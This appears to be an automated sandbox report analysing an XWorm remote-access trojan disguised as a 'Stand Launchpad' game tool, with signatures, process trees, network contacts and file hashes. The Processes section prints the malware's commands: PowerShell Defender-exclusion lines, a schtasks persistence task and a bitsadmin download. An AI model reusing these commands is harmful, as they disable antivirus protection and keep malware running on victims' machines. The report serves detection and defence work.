Malware Analysis Report

2024-11-16 13:41

Sample ID 240531-zc1yfscd61
Target Stand.Launchpad.exe
SHA256 a7caa09c1ee4b7523ff673a2b646ec4e39c3bbe3c59b443a31e362944ac9f4de
Tags
xworm execution persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a7caa09c1ee4b7523ff673a2b646ec4e39c3bbe3c59b443a31e362944ac9f4de

Threat Level: Known bad

The file Stand.Launchpad.exe was found to be: Known bad.

Malicious Activity Summary

xworm execution persistence rat trojan

Detect Xworm Payload

Xworm

Command and Scripting Interpreter: PowerShell

Drops startup file

Executes dropped EXE

Looks up external IP address via web service

Adds Run key to start application

Unsigned PE

Enumerates physical storage devices

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

Download via BitsAdmin

Suspicious behavior: EnumeratesProcesses

Uses Task Scheduler COM API

Modifies registry class

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-31 20:35

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-31 20:35

Reported

2024-05-31 20:36

Platform

win11-20240508-en

Max time kernel

73s

Max time network

71s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Drops startup file

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe" C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Stand.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2988 wrote to memory of 4680 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 2988 wrote to memory of 4680 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 2988 wrote to memory of 4680 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Windows\SysWOW64\mshta.exe
PID 2988 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
PID 2988 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
PID 4680 wrote to memory of 4556 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 4680 wrote to memory of 4556 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 4680 wrote to memory of 4556 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 4600 wrote to memory of 3836 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4600 wrote to memory of 3836 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4600 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4600 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4600 wrote to memory of 5028 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4600 wrote to memory of 5028 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4600 wrote to memory of 1836 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4600 wrote to memory of 1836 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4600 wrote to memory of 4292 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\schtasks.exe
PID 4600 wrote to memory of 4292 N/A C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe C:\Windows\System32\schtasks.exe
PID 4680 wrote to memory of 1904 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
PID 4680 wrote to memory of 1904 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.Launchpad.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"

C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.133:443 objects.githubusercontent.com tcp
N/A 127.0.0.1:57023 tcp
US 172.67.188.90:443 stand.gg tcp
US 8.8.8.8:53 188.98.55.23.in-addr.arpa udp
US 8.8.8.8:53 90.188.67.172.in-addr.arpa udp
US 172.67.188.90:443 stand.gg tcp
N/A 127.0.0.1:57023 tcp
DE 193.161.193.99:57023 Name1442-57023.portmap.host tcp

Files

memory/2988-1-0x0000000000E60000-0x0000000000E88000-memory.dmp

memory/2988-0-0x00007FFCF3B93000-0x00007FFCF3B95000-memory.dmp

C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe

MD5 86cfa35ef19ca1d1ed0dfbc031211833
SHA1 871f69775937be2dd3b066d9747b69fc07ddc58d
SHA256 f198341fbaac08171a208c4e61f6a47609cb0991d4c4e3f6741c1e281e17c5f5
SHA512 5889f8b3c033342c8b3749ef5191dc1206da03f0c5327a11dcf0e0ba186ae8a71514993f484fdfbcd6bdb515167bedd73cf3d3a6c8d86056889a823bac485261

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stand.Launchpad.exe.log

MD5 2cbbb74b7da1f720b48ed31085cbd5b8
SHA1 79caa9a3ea8abe1b9c4326c3633da64a5f724964
SHA256 e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
SHA512 ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

memory/4600-17-0x00000000003B0000-0x00000000003D0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Downloader.hta

MD5 4ec749a8c1d7d0a4be501465d297d3dc
SHA1 d7727cb4dc96d653bce6c6bbe70ff171ecc197b7
SHA256 7bd2ea1be121e862cc93c8c41429d0f9d1d3b57478e586bbeed7d3d3be3a96f6
SHA512 38d4ca973a3da55453dd37cb8965db223d42b03493b8d5390ab58cc3b53df1405119663f91bcef2ce2efc082ea17b0021c407eb65c6076d127408f2ff2c7d44e

memory/4600-19-0x00007FFCF3B90000-0x00007FFCF4652000-memory.dmp

memory/3836-20-0x000001EBBDE90000-0x000001EBBDEB2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yhvatjc5.jij.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d0a4a3b9a52b8fe3b019f6cd0ef3dad6
SHA1 fed70ce7834c3b97edbd078eccda1e5effa527cd
SHA256 21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31
SHA512 1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 df808b11175970c23f00e611a7b6d2cc
SHA1 0243f099e483fcafb6838c0055982e65634b6db6
SHA256 2d5eec6aeee0c568d08cc1777a67b529dce3133efc761ef4b4643d4b2003d43d
SHA512 c7c4e39be7cb6bfda48055cd2b0b05a6b6a71131a124730f62928600a5870303e06e3db54634c45f86310413126d2524f51002d5f36f7012e41b641992b5ac89

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e07eea85a8893f23fb814cf4b3ed974c
SHA1 8a8125b2890bbddbfc3531d0ee4393dbbf5936fe
SHA256 83387ce468d717a7b4ba238af2273da873b731a13cc35604f775a31fa0ac70ea
SHA512 9d4808d8a261005391388b85da79e4c5396bdded6e7e5ce3a3a23e7359d1aa1fb983b4324f97e0afec6e8ed9d898322ca258dd7cda654456dd7e84c9cbd509df

memory/1904-66-0x000001ADDC070000-0x000001ADDC086000-memory.dmp

memory/4600-84-0x00007FFCF3B90000-0x00007FFCF4652000-memory.dmp